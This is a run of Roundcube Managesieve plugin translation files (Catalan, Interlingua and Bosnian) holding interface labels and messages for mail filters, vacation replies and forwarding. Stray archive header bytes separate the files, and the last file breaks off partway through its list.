$labels['filters'] = 'Filtres';
$labels['managefilters'] = 'Gestiona els filtres dels missatges d\'entrada';
$labels['filtername'] = 'Nom del filtre';
$labels['newfilter'] = 'Filtre nou';
$labels['filteradd'] = 'Afegeix un filtre';
$labels['filterdel'] = 'Suprimeix el filtre';
$labels['rules'] = 'Regles';
$labels['actions'] = 'Accions';
$labels['scope'] = 'Abast';
$labels['moveup'] = 'Mou amunt';
$labels['movedown'] = 'Mou avall';
$labels['filterallof'] = 'que coincideixi amb totes les regles següents';
$labels['filteranyof'] = 'que coincideixi amb qualsevol de les regles següents';
$labels['filterany'] = 'tots els missatges';
$labels['filtercontains'] = 'conté';
$labels['filternotcontains'] = 'no conté';
$labels['filteris'] = 'és igual a';
$labels['filterisnot'] = 'és diferent de';
$labels['filterexists'] = 'existeix';
$labels['filternotexists'] = 'no existeix';
$labels['filtermatches'] = 'coincideix amb l\'expressió';
$labels['filternotmatches'] = 'no coincideix amb l\'expressió';
$labels['filterregex'] = 'coincideix amb l\'expressió regular';
$labels['filternotregex'] = 'no coincideix amb l\'expressió regular';
$labels['filterunder'] = 'sota';
$labels['filterover'] = 'sobre';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Part MIME:';
$labels['mime-message'] = 'missatge';
$labels['mime-anychild'] = 'qualsevol';
$labels['mime-type'] = 'tipus';
$labels['mime-subtype'] = 'subtipus';
$labels['mime-contenttype'] = 'tipus de contingut';
$labels['mime-param'] = 'paràmetre';
$labels['addrule'] = 'Afegeix una regla';
$labels['delrule'] = 'Suprimeix una regla';
$labels['messagemoveto'] = 'Mou el missatge a';
$labels['messageredirect'] = 'Redirigeix el missatge cap a';
$labels['messagecopyto'] = 'Copia el missatge a';
$labels['messagesendcopy'] = 'Envia una còpia del missatge a';
$labels['messagereply'] = 'Respon amb un missatge';
$labels['messagedelete'] = 'Suprimeix missatge';
$labels['messagediscard'] = 'Descarta amb un missatge';
$labels['messagekeep'] = 'Deixa el missatge a la bústia';
$labels['messagesrules'] = 'Pels missatges entrants:';
$labels['messagesactions'] = '..executa les següents accions:';
$labels['add'] = 'Afegeix';
$labels['del'] = 'Suprimeix';
$labels['sender'] = 'Remitent';
$labels['recipient'] = 'Destinatari';
$labels['vacationaddr'] = 'Les meves adreces de correu electrònic:';
$labels['vacationdays'] = 'Cada quan s\'ha d\'enviar un missatge (en dies):';
$labels['vacationinterval'] = 'Amb quina freqüència s\'han d\'enviar els missatges:';
$labels['vacationreason'] = 'Cos del missatge (raó de l\'absència):';
$labels['vacationfrom'] = 'Respon a l\'adreça del remitent:';
$labels['vacationsubject'] = 'Assumpte del missatge:';
$labels['days'] = 'dies';
$labels['seconds'] = 'segons';
$labels['rulestop'] = 'Deixa d\'avaluar regles';
$labels['enable'] = 'Habilita/Deshabilita';
$labels['filterset'] = 'Conjunt de filtres';
$labels['filtersets'] = 'Conjunts de filtres';
$labels['filtersetadd'] = 'Afegeix un conjunt de filtres';
$labels['filtersetdel'] = 'Suprimeix un conjunt de filtres';
$labels['filtersetact'] = 'Activa el conjunt de filtres actuals';
$labels['filtersetdeact'] = 'Desactiva el conjunt de filtres actuals';
$labels['filterseteditraw'] = 'Edita el conjunt de filtres';
$labels['filtersetswitch'] = 'Activa/desactiva el conjunt de filtres';
$labels['filterdef'] = 'Definició del filtre';
$labels['filtersetname'] = 'Nom del conjunt de filtres';
$labels['newfilterset'] = 'Nou conjunt de filtres';
$labels['active'] = 'actiu';
$labels['none'] = 'cap';
$labels['fromset'] = 'des del conjunt';
$labels['fromfile'] = 'des del fitxer';
$labels['filterdisabled'] = 'Filtre desactivat';
$labels['filterenabled'] = 'Filtre activat';
$labels['countisgreaterthan'] = 'el recompte és més gran de';
$labels['countisgreaterthanequal'] = 'el recompte és més gran o igual a';
$labels['countislessthan'] = 'el recompte és menor de';
$labels['countislessthanequal'] = 'el recompte és menor o igual a';
$labels['countequals'] = 'el recompte és igual que';
$labels['countnotequals'] = 'el recompte és diferent de';
$labels['valueisgreaterthan'] = 'el valor és més gran de';
$labels['valueisgreaterthanequal'] = 'el valor és major o igual que';
$labels['valueislessthan'] = 'el valor és menor que';
$labels['valueislessthanequal'] = 'el valor és menor o igual de';
$labels['valueequals'] = 'el valor és igual a';
$labels['valuenotequals'] = 'el valor és diferent de';
$labels['setflags'] = 'Posa indicadors al missatge';
$labels['addflags'] = 'Afegeix indicadors al missatge';
$labels['removeflags'] = 'Suprimeix indicadors del missatge';
$labels['flagread'] = 'Llegit';
$labels['flagdeleted'] = 'Suprimit';
$labels['flaganswered'] = 'Respost';
$labels['flagflagged'] = 'Marcat';
$labels['flagdraft'] = 'Esborrany';
$labels['addheader'] = 'Afegeix una capçalera al missatge';
$labels['deleteheader'] = 'Suprimeix una capçalera del missatge';
$labels['headername'] = 'Nom de la capçalera';
$labels['headervalue'] = 'Valor de la capçalera';
$labels['headerpos'] = 'Posició de la capçalera';
$labels['headeratstart'] = 'al començament';
$labels['headeratend'] = 'al final';
$labels['headeroccurrence'] = 'Ocurrència/posició de la capçalera';
$labels['headerfromstart'] = 'des de l\'inici';
$labels['headerfromend'] = 'des del final';
$labels['headerpatterns'] = 'Patrons de valor de capçalera';
$labels['headermatchtype'] = 'tipus de concordança';
$labels['setvariable'] = 'Ajusta la variable';
$labels['setvarname'] = 'Nom de la variable:';
$labels['setvarvalue'] = 'Valor de la variable:';
$labels['setvarmodifiers'] = 'Modificadors:';
$labels['varlower'] = 'minúscules';
$labels['varupper'] = 'majúscules';
$labels['varlowerfirst'] = 'el primer caràcter en minúscula';
$labels['varupperfirst'] = 'el primer caràcter en majúscula';
$labels['varquotewildcard'] = 'engloba els caràcters especials amb cometes';
$labels['varlength'] = 'llargada';
$labels['notify'] = 'Envia notificació';
$labels['notifytarget'] = 'Objectiu de la notificació:';
$labels['notifymessage'] = 'Missatge de notificació (opcional):';
$labels['notifyoptions'] = 'Opcions de notificació (opcional):';
$labels['notifyfrom'] = 'Remitent de la notificació (opcional):';
$labels['notifyimportance'] = 'Importància:';
$labels['notifyimportancelow'] = 'baixa';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Correu electrònic';
$labels['notifymethodtel'] = 'Telèfon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Crea filtre';
$labels['usedata'] = 'Fes servir les següents dades al filtre:';
$labels['nextstep'] = 'Següent pas';
$labels['...'] = '...';
$labels['string'] = 'Cadena de text';
$labels['currdate'] = 'Data actual';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'capçalera:';
$labels['year'] = 'any';
$labels['month'] = 'mes';
$labels['day'] = 'dia';
$labels['date'] = 'data (aaaa-mm-dd)';
$labels['julian'] = 'data (calendari julià)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minut';
$labels['second'] = 'segon';
$labels['time'] = 'hora (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'fus horari';
$labels['weekday'] = 'dia de la setmana (0-6)';
$labels['advancedopts'] = 'Opcions avançades';
$labels['body'] = 'Cos';
$labels['address'] = 'adreça';
$labels['envelope'] = 'sobre';
$labels['modifier'] = 'modificador:';
$labels['text'] = 'text';
$labels['undecoded'] = 'descodificat (en brut)';
$labels['contenttype'] = 'tipus de contingut';
$labels['modtype'] = 'tipus:';
$labels['allparts'] = 'tots';
$labels['domain'] = 'domini';
$labels['localpart'] = 'part local';
$labels['user'] = 'usuari';
$labels['detail'] = 'detall';
$labels['comparator'] = 'comparador:';
$labels['default'] = 'per defecte';
$labels['octet'] = 'estricte (octet)';
$labels['asciicasemap'] = 'No distingeix entre majúscules i minúscules  (ascii-casemap)';
$labels['asciinumeric'] = 'numèric (ascii-numèric)';
$labels['index'] = 'índex:';
$labels['indexlast'] = 'cap enrere';
$labels['spamtest'] = 'Nivell de correu brossa';
$labels['spamtestisgreaterthan'] = 'és més gran de';
$labels['spamtestisgreaterthanequal'] = 'és major o igual que';
$labels['spamtestislessthan'] = 'és menor que';
$labels['spamtestislessthanequal'] = 'és menor o igual a';
$labels['spamtestequals'] = 'és igual a';
$labels['spamtestnotequals'] = 'és diferent de';
$labels['spamtestisunknown'] = 'és desconegut';
$labels['vacation'] = 'Fora de l\'oficina';
$labels['vacation.reply'] = 'Missatge de resposta';
$labels['vacation.advanced'] = 'Paràmetres avançats';
$labels['vacation.from'] = 'Respon a l\'adreça del remitent';
$labels['vacation.subject'] = 'Assumpte';
$labels['vacation.body'] = 'Cos';
$labels['vacation.start'] = 'Hora d\'inici';
$labels['vacation.end'] = 'Hora final';
$labels['vacation.status'] = 'Estat';
$labels['vacation.on'] = 'Activat';
$labels['vacation.off'] = 'Desactivat';
$labels['vacation.addresses'] = 'Les meves adreces de correu electrònic';
$labels['vacation.interval'] = 'Interval de resposta';
$labels['vacation.after'] = 'Col·loca la regla de \'fora de l\'oficina\' darrera';
$labels['vacation.saving'] = 'S\'estan desant les dades...';
$labels['vacation.action'] = 'Acció pel missatge entrant';
$labels['vacation.keep'] = 'Conserva';
$labels['vacation.discard'] = 'Descarta';
$labels['vacation.redirect'] = 'Redirigeix cap a';
$labels['vacation.copy'] = 'Envia còpia a';
$labels['forward'] = 'Reenviament';
$labels['forward.redirect'] = 'Redirigeix cap a';
$labels['forward.copy'] = 'Envia còpia a';
$labels['forward.on'] = 'Activat';
$labels['forward.off'] = 'Desactivat';
$labels['forward.status'] = 'Estat:';
$labels['forward.action'] = 'Per als missatges d\'entrada executa la següent acció:';
$labels['forward.saving'] = 'S\'estan desant les dades...';
$labels['filladdresses'] = 'Emplena-ho amb totes les meves adreces de correu electrònic';
$labels['arialabelfiltersetactions'] = 'Accions pel conjunt de filtres';
$labels['arialabelfilteractions'] = 'Accions del filtre';
$labels['arialabelfilterform'] = 'Propietats del filtre';
$labels['ariasummaryfilterslist'] = 'Llistat de filtres';
$labels['ariasummaryfiltersetslist'] = 'Llistat de conjunts de filtres';
$labels['filterstitle'] = 'Edita els filtres pels missatges entrants';
$labels['vacationtitle'] = 'Edita la norma "fora de l\'oficina"';
$labels['forwardtitle'] = 'Edita la regla de reenviament de correu';
$labels['message'] = 'Missatge';
$labels['duplicate'] = 'està duplicat';
$labels['notduplicate'] = 'no està duplicat';
$labels['duplicate.handle'] = 'gestor:';
$labels['duplicate.header'] = 'capçalera:';
$labels['duplicate.uniqueid'] = 'Identificador:';
$labels['duplicate.seconds'] = 'temps d\'espera (en segons):';
$labels['duplicate.last'] = 'relatiu a la darrera execució';
$messages['filterunknownerror'] = 'Hi ha hagut un error desconegut al servidor.';
$messages['filterconnerror'] = 'No s\'ha pogut connectar al servidor.';
$messages['filterdeleteerror'] = 'No s\'ha pogut suprimir el filtre. Hi ha hagut un error al servidor.';
$messages['filterdeleted'] = 'El filtre s\'ha suprimit correctament.';
$messages['filtersaved'] = 'El filtre s\'ha desat correctament.';
$messages['filtersaveerror'] = 'No s\'ha pogut desar el filtre. Hi ha hagut un error al servidor.';
$messages['filterformerror'] = 'El formulari de filtres conté errors.';
$messages['filterdeleteconfirm'] = 'Esteu segur de voler suprimir el filtre seleccionat?';
$messages['ruledeleteconfirm'] = 'Esteu segur de voler suprimir la regla seleccionada?';
$messages['actiondeleteconfirm'] = 'Esteu segur de voler suprimir l\'acció seleccionada?';
$messages['forbiddenchars'] = 'El camp conté caràcters prohibits.';
$messages['cannotbeempty'] = 'El camp no pot estar buit.';
$messages['ruleexist'] = 'Ja existeix un filtre amb aquest nom.';
$messages['setactivateerror'] = 'No s\'ha pogut activar el conjunt de filtres seleccionat. Hi ha hagut un error al servidor.';
$messages['setdeactivateerror'] = 'No s\'ha pogut desactivar el conjunt de filtres seleccionat. Hi ha hagut un error al servidor.';
$messages['setdeleteerror'] = 'No s\'ha pogut suprimir el conjunt de filtres seleccionat. Hi ha hagut un error al servidor.';
$messages['setactivated'] = 'El conjunt de filtres s\'ha activat correctament.';
$messages['setdeactivated'] = 'El conjunt de filtres s\'ha desactivat correctament.';
$messages['setdeleted'] = 'El conjunt de filtres s\'ha suprimit correctament.';
$messages['setupdated'] = 'El conjunt de filtres s\'ha actualitzat correctament.';
$messages['setdeleteconfirm'] = 'Esteu segur de voler suprimir el conjunt de filtres seleccionat?';
$messages['setcreateerror'] = 'No s\'ha pogut crear el conjunt filtres. Hi ha hagut un error al servidor.';
$messages['setcreated'] = 'El conjunt de filtres s\'ha creat correctament.';
$messages['activateerror'] = 'No s\'ha pogut activar el(s) filtre(s) seleccionat(s). Hi ha hagut un error al servidor.';
$messages['deactivateerror'] = 'No s\'ha pogut desactivar el(s) filtre(s) seleccionat(s). Hi ha hagut un error al servidor.';
$messages['deactivated'] = 'Filtre(s) desactivat(s) correctament.';
$messages['activated'] = 'Filtre(s) activat(s) correctament.';
$messages['moved'] = 'S\'ha mogut correctament el filtre.';
$messages['moveerror'] = 'No s\'ha pogut moure el filtre seleccionat. Hi ha hagut un error al servidor.';
$messages['nametoolong'] = 'El nom és massa llarg.';
$messages['namereserved'] = 'Nom reservat.';
$messages['setexist'] = 'El conjunt ja existeix.';
$messages['nodata'] = 'S\'ha de seleccionar com a mínim una posició!';
$messages['invaliddateformat'] = 'data no vàlida o format no vàlid';
$messages['saveerror'] = 'No s\'han pogut desar les dades. Hi ha hagut un error al servidor.';
$messages['vacationsaved'] = 'Dades de \'fora de l\'oficina\' desades correctament.';
$messages['forwardsaved'] = 'Dades de reenviament desades correctament.';
$messages['emptyvacationbody'] = 'És obligatori definir el cos del missatge de vacances';
$messages['duplicate.conflict.err'] = 'L\'encapçalament i l\'identificador únic a la vegada no estan permesos.';
$messages['disabledaction'] = 'Acció no permesa.';
$messages['lastindexempty'] = 'És necessari l\'índex quan es compta des del final';
$messages['noflagset'] = 'Cal seleccionar almenys una marca.';
PKh�\�,�,,'plugins/managesieve/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Gerer filtros de e-mail entrante';
$labels['filtername'] = 'Nomine de filtro';
$labels['newfilter'] = 'Nove filtro';
$labels['filteradd'] = 'Adder filtro';
$labels['filterdel'] = 'Deler filtro';
$labels['scope'] = 'Ambito';
$labels['moveup'] = 'Displaciar in alto';
$labels['movedown'] = 'Displaciar a basso';
$labels['filterallof'] = 'que satisface tote le sequente regulas';
$labels['filteranyof'] = 'que satisface qualcunque del sequente regulas';
$labels['filterany'] = 'tote le messages';
$labels['filtercontains'] = 'contine';
$labels['filternotcontains'] = 'non contine';
$labels['filteris'] = 'es equal a';
$labels['filterisnot'] = 'non es equal a';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'non existe';
$labels['filtermatches'] = 'corresponde al expression';
$labels['filternotmatches'] = 'non corresponde al expression';
$labels['filterregex'] = 'corresponde al expression regular';
$labels['filternotregex'] = 'non corresponde al expression regular';
$labels['filterunder'] = 'sub';
$labels['filterover'] = 'super';
$labels['mime-message'] = 'message';
$labels['addrule'] = 'Adder regula';
$labels['delrule'] = 'Deler regula';
$labels['messagemoveto'] = 'Displaciar message a';
$labels['messageredirect'] = 'Rediriger message a';
$labels['messagecopyto'] = 'Copiar message a';
$labels['messagesendcopy'] = 'Inviar copia del message a';
$labels['messagereply'] = 'Responder con message';
$labels['messagedelete'] = 'Deler message';
$labels['messagediscard'] = 'Abandonar con message';
$labels['messagekeep'] = 'Conservar message in cassa de entrata';
$labels['messagesrules'] = 'Pro messages entrante:';
$labels['messagesactions'] = '...exequer le sequente actiones:';
$labels['add'] = 'Adder';
$labels['del'] = 'Deler';
$labels['sender'] = 'Expeditor';
$labels['recipient'] = 'Destinatario';
$labels['vacationaddr'] = 'Mi adresses de e-mail:';
$labels['vacationdays'] = 'Frequentia de invio de messages (in dies):';
$labels['vacationinterval'] = 'Frequentia de invio de messages:';
$labels['vacationreason'] = 'Texto del message (motivo del absentia):';
$labels['vacationfrom'] = 'Adresse del expeditor pro responder:';
$labels['vacationsubject'] = 'Subjecto del message:';
$labels['days'] = 'dies';
$labels['seconds'] = 'secundas';
$labels['rulestop'] = 'Cessar de evalutar regulas';
$labels['enable'] = 'Activar/Disactivar';
$labels['filtersets'] = 'Gruppos de filtros';
$labels['filterseteditraw'] = 'Modificar gruppo de filtros';
$labels['filterdef'] = 'Definition del filtro';
$labels['active'] = 'active';
$labels['none'] = 'nulle';
$labels['fromset'] = 'ab gruppo';
$labels['fromfile'] = 'ab file';
$labels['filterdisabled'] = 'Filtro disactivate';
$labels['countisgreaterthan'] = 'numero es superior a';
$labels['countisgreaterthanequal'] = 'numero es superior o equal a';
$labels['countislessthan'] = 'numero es inferior a';
$labels['countislessthanequal'] = 'numero es inferior o equal a';
$labels['countequals'] = 'numero es equal a';
$labels['countnotequals'] = 'numero non es equal a';
$labels['valueisgreaterthan'] = 'valor es superior a';
$labels['valueisgreaterthanequal'] = 'valor es superior o equal a';
$labels['valueislessthan'] = 'valor es inferior a';
$labels['valueislessthanequal'] = 'valor es inferior o equal a';
$labels['valueequals'] = 'valor es equal a';
$labels['valuenotequals'] = 'valor non es equal a';
$labels['setflags'] = 'Mitter signales al message';
$labels['addflags'] = 'Adder signales al message';
$labels['removeflags'] = 'Remover signales del message';
$labels['flagread'] = 'Legite';
$labels['flagdeleted'] = 'Delite';
$labels['flaganswered'] = 'Respondite';
$labels['flagflagged'] = 'Signalate';
$labels['flagdraft'] = 'Version provisori';
$labels['setvariable'] = 'Definir variabile';
$labels['setvarname'] = 'Nomine del variabile:';
$labels['setvarvalue'] = 'Valor del variabile:';
$labels['setvarmodifiers'] = 'Modificatores:';
$labels['varlower'] = 'minusculas';
$labels['varupper'] = 'majusculas';
$labels['varlowerfirst'] = 'prime character es minuscula';
$labels['varupperfirst'] = 'prime character es majuscula';
$labels['varquotewildcard'] = 'mitter characteres special inter virgulettas';
$labels['varlength'] = 'longitude';
$labels['notify'] = 'Inviar notification';
$labels['notifytarget'] = 'Scopo del notification:';
$labels['notifymessage'] = 'Message del notification (optional):';
$labels['notifyoptions'] = 'Optiones de notification (optional):';
$labels['notifyfrom'] = 'Expeditor del notification (optional):';
$labels['notifyimportance'] = 'Importantia:';
$labels['notifyimportancelow'] = 'basse';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alte';
$labels['notifymethodmailto'] = 'E-mail';
$labels['notifymethodtel'] = 'Telephono';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Crear filtro';
$labels['usedata'] = 'Usar le sequente datos in le filtro:';
$labels['nextstep'] = 'Proxime passo';
$labels['...'] = '...';
$labels['string'] = 'Catena';
$labels['currdate'] = 'Data actual';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'capite:';
$labels['year'] = 'anno';
$labels['month'] = 'mense';
$labels['day'] = 'die';
$labels['date'] = 'data (aaaa-mm-dd)';
$labels['julian'] = 'data (julian)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minuta';
$labels['second'] = 'secunda';
$labels['time'] = 'hora (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'fuso horari';
$labels['weekday'] = 'die del septimana (0-6)';
$labels['advancedopts'] = 'Optiones avantiate';
$labels['body'] = 'Texto';
$labels['address'] = 'adresse';
$labels['envelope'] = 'inveloppe';
$labels['modifier'] = 'modificator:';
$labels['text'] = 'texto';
$labels['undecoded'] = 'non decodificate (crude)';
$labels['contenttype'] = 'typo de contento';
$labels['modtype'] = 'typo:';
$labels['allparts'] = 'totes';
$labels['domain'] = 'dominio';
$labels['localpart'] = 'parte local';
$labels['user'] = 'usator';
$labels['detail'] = 'detalio';
$labels['comparator'] = 'comparator:';
$labels['default'] = 'predefinite';
$labels['octet'] = 'stricte (octetto)';
$labels['asciicasemap'] = 'non sensibile al differentia inter majusculas e minusculas (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['index'] = 'indice:';
$labels['indexlast'] = 'a retro';
$labels['spamtestequals'] = 'es equal a';
$labels['spamtestnotequals'] = 'non es equal a';
$labels['vacation.reply'] = 'Message de responsa';
$labels['vacation.advanced'] = 'Configuration avantiate';
$labels['vacation.from'] = 'Adresse del expeditor pro responder';
$labels['vacation.subject'] = 'Subjecto';
$labels['vacation.body'] = 'Texto';
$labels['vacation.status'] = 'Stato';
$labels['vacation.on'] = 'Active';
$labels['vacation.off'] = 'Non active';
$labels['vacation.addresses'] = 'Mi adresses de e-mail';
$labels['vacation.interval'] = 'Intervallo de responsa';
$labels['vacation.saving'] = 'Salveguarda datos...';
$labels['vacation.action'] = 'Action pro message entrante';
$labels['vacation.keep'] = 'Conservar';
$labels['vacation.discard'] = 'Abandonar';
$labels['vacation.redirect'] = 'Rediriger a';
$labels['vacation.copy'] = 'Inviar copia a';
$labels['forward.redirect'] = 'Rediriger a';
$labels['forward.copy'] = 'Inviar copia a';
$labels['forward.on'] = 'Active';
$labels['forward.off'] = 'Non active';
$labels['forward.saving'] = 'Salveguarda datos...';
$labels['filladdresses'] = 'Plenar con tote mi adresses';
$labels['arialabelfiltersetactions'] = 'Actiones de gruppo de filtros';
$labels['arialabelfilteractions'] = 'Actiones de filtro';
$labels['arialabelfilterform'] = 'Proprietates de filtro';
$labels['ariasummaryfilterslist'] = 'Lista de filtros';
$labels['ariasummaryfiltersetslist'] = 'Lista de gruppos de filtros';
$labels['filterstitle'] = 'Modificar filtros de e-mail entrante';
$labels['vacationtitle'] = 'Modificar regula de absentia';
$labels['message'] = 'Message';
$labels['duplicate'] = 'es duplicate';
$labels['notduplicate'] = 'non es duplicate';
$labels['duplicate.handle'] = 'pseudonymo:';
$labels['duplicate.header'] = 'capite:';
$labels['duplicate.uniqueid'] = 'identificator:';
$labels['duplicate.seconds'] = 'expiration (secundas):';
$labels['duplicate.last'] = 'relative al ultime execution';
$messages['filterunknownerror'] = 'Error de servitor incognite.';
$messages['filterconnerror'] = 'Impossibile connecter al servitor.';
$messages['filterdeleteerror'] = 'Impossibile deler le filtro. Un error de servitor ha occurrite.';
$messages['filterdeleted'] = 'Le filtro ha essite delite.';
$messages['filtersaved'] = 'Le filtro ha essite salveguardate.';
$messages['filtersaveerror'] = 'Impossibile salveguardar le filtro. Un error de servitor ha occurrite.';
$messages['filterformerror'] = 'Le forma del filtro contine errores.';
$messages['filterdeleteconfirm'] = 'Es vos secur de voler deler le filtro seligite?';
$messages['ruledeleteconfirm'] = 'Es vos secur de voler deler le regula seligite?';
$messages['actiondeleteconfirm'] = 'Es vos secur de voler deler le action seligite?';
$messages['forbiddenchars'] = 'Le campo contine characteres interdicte.';
$messages['cannotbeempty'] = 'Le campo non pote esser vacue.';
$messages['ruleexist'] = 'Un filtro con le nomine specificate jam existe.';
$messages['activateerror'] = 'Impossibile activar le filtro(s) seligite. Un error de servitor ha occurrite.';
$messages['deactivateerror'] = 'Impossibile disactivar le filtro(s) seligite. Un error de servitor ha occurrite.';
$messages['deactivated'] = 'Le filtro(s) ha essite disactivate.';
$messages['activated'] = 'Le filtro(s) ha essite activate.';
$messages['moved'] = 'Le filtro ha essite displaciate.';
$messages['moveerror'] = 'Impossibile displaciar le filtro seligite. Un error de servitor ha occurrite.';
$messages['nametoolong'] = 'Le nomine es troppo longe.';
$messages['namereserved'] = 'Nomine reservate.';
$messages['setexist'] = 'Le gruppo jam existe.';
$messages['nodata'] = 'Al minus un position debe esser seligite.';
$messages['invaliddateformat'] = 'Le formato del data o del parte de data non es valide';
$messages['saveerror'] = 'Impossibile salveguardar le datos. Un error de servitor ha occurrite.';
$messages['emptyvacationbody'] = 'Le texto del message de vacantias es obligatori.';
$messages['duplicate.conflict.err'] = 'Ambe le capite e le identificator unic non es permittite.';
PKh�\M^0��'�'*plugins/managesieve/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filteri';
$labels['managefilters'] = 'Upravljanje dolaznim email filterima';
$labels['filtername'] = 'Naziv filtera';
$labels['newfilter'] = 'Novi filter';
$labels['filteradd'] = 'Dodaj filter';
$labels['filterdel'] = 'Obriši filter';
$labels['scope'] = 'Opseg';
$labels['moveup'] = 'Pomjeri gore';
$labels['movedown'] = 'Pomjeri dole';
$labels['filterallof'] = 'poklapa se sa svim sljedećim pravilima';
$labels['filteranyof'] = 'poklapa se sa bilo kojim od sljedećih pravila';
$labels['filterany'] = 'sve poruke';
$labels['filtercontains'] = 'sadrži';
$labels['filternotcontains'] = 'ne sadrži';
$labels['filteris'] = 'jednako';
$labels['filterisnot'] = 'nije jednako';
$labels['filterexists'] = 'postoji';
$labels['filternotexists'] = 'ne postoji';
$labels['filtermatches'] = 'poklapa se sa izrazom';
$labels['filternotmatches'] = 'ne poklapa se sa izrazom';
$labels['filterregex'] = 'poklapa se sa regularnim izrazom';
$labels['filternotregex'] = 'ne poklapa se sa regularnim izrazom';
$labels['filterunder'] = 'ispod';
$labels['filterover'] = 'iznad';
$labels['addrule'] = 'Dodaj pravilo';
$labels['delrule'] = 'Obriši pravilo';
$labels['messagemoveto'] = 'Premjesti poruku u';
$labels['messageredirect'] = 'Preusmjeri poruku ka';
$labels['messagecopyto'] = 'Kopiraj poruku u';
$labels['messagesendcopy'] = 'Pošalji kopiju poruke';
$labels['messagereply'] = 'Odgovori';
$labels['messagedelete'] = 'Obriši poruku';
$labels['messagediscard'] = 'Odbaci sa porukom';
$labels['messagekeep'] = 'Zadrži poruku u sandučetu';
$labels['messagesrules'] = 'Za dolazne emailove:';
$labels['messagesactions'] = '...izvrši sljedeće akcije:';
$labels['add'] = 'Dodaj';
$labels['del'] = 'Obriši';
$labels['sender'] = 'Pošiljaoc';
$labels['recipient'] = 'Primaoc';
$labels['vacationaddr'] = 'Moje email adrese:';
$labels['vacationdays'] = 'Frekvencija slanja poruka (u danima):';
$labels['vacationinterval'] = 'Frekvencija slanja poruka:';
$labels['vacationreason'] = 'Tijelo poruke (razlog za odmor):';
$labels['vacationsubject'] = 'Naslov poruke:';
$labels['days'] = 'dana';
$labels['seconds'] = 'sekundi';
$labels['rulestop'] = 'Prestani procjenjivati pravila';
$labels['enable'] = 'Omogući/Onemogući';
$labels['filtersets'] = 'Setovi filtera';
$labels['filterdef'] = 'Definicija filtera';
$labels['active'] = 'aktivno';
$labels['none'] = 'ništa';
$labels['fromset'] = 'iz seta';
$labels['fromfile'] = 'iz datoteke';
$labels['filterdisabled'] = 'Filter je onemogućen';
$labels['countisgreaterthan'] = 'brojač je veći od';
$labels['countisgreaterthanequal'] = 'brojač je veći ili jednak';
$labels['countislessthan'] = 'brojač je manji od';
$labels['countislessthanequal'] = 'brojač je manji ili jednak';
$labels['countequals'] = 'brojač je jednak';
$labels['countnotequals'] = 'zbir nije jednak';
$labels['valueisgreaterthan'] = 'vrijednost je veća od';
$labels['valueisgreaterthanequal'] = 'vrijednost je veća ili jednaka';
$labels['valueislessthan'] = 'vrijednost je manja od';
$labels['valueislessthanequal'] = 'vrijednost je manja ili jednaka';
$labels['valueequals'] = 'vrijednost je jednaka';
$labels['valuenotequals'] = 'vrijednost nije jednaka';
$labels['setflags'] = 'Postavi oznake za poruku';
$labels['addflags'] = 'Dodaj oznake u poruku';
$labels['removeflags'] = 'Ukloni oznake iz poruke';
$labels['flagread'] = 'Pročitano';
$labels['flagdeleted'] = 'Obrisano';
$labels['flaganswered'] = 'Odgovoreno';
$labels['flagflagged'] = 'Važno';
$labels['flagdraft'] = 'Skica';
$labels['setvariable'] = 'Postavi promjenjivu';
$labels['setvarname'] = 'Naziv promjenjive:';
$labels['setvarvalue'] = 'Vrijednost promjenjive:';
$labels['setvarmodifiers'] = 'Parametri:';
$labels['varlower'] = 'mala slova';
$labels['varupper'] = 'velika slova';
$labels['varlowerfirst'] = 'prvi znak malim slovom';
$labels['varupperfirst'] = 'prvi znak velikim slovom';
$labels['varquotewildcard'] = 'citiraj specijalne znakove';
$labels['varlength'] = 'dužina';
$labels['notify'] = 'Pošalji napomenu';
$labels['notifytarget'] = 'Odredište napomene:';
$labels['notifymessage'] = 'Poruka napomene (neobavezno):';
$labels['notifyoptions'] = 'Opcije napomene (neobavezno):';
$labels['notifyfrom'] = 'Pošiljalac napomene (neobavezno):';
$labels['notifyimportance'] = 'Prioritet:';
$labels['notifyimportancelow'] = 'mali';
$labels['notifyimportancenormal'] = 'obični';
$labels['notifyimportancehigh'] = 'veliki';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Kreiraj filter';
$labels['usedata'] = 'Koristite sljedeće podatke u filteru:';
$labels['nextstep'] = 'Sljedeći korak';
$labels['...'] = '...';
$labels['currdate'] = 'Trenutni datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'zaglavlje:';
$labels['year'] = 'godina';
$labels['month'] = 'mjesec';
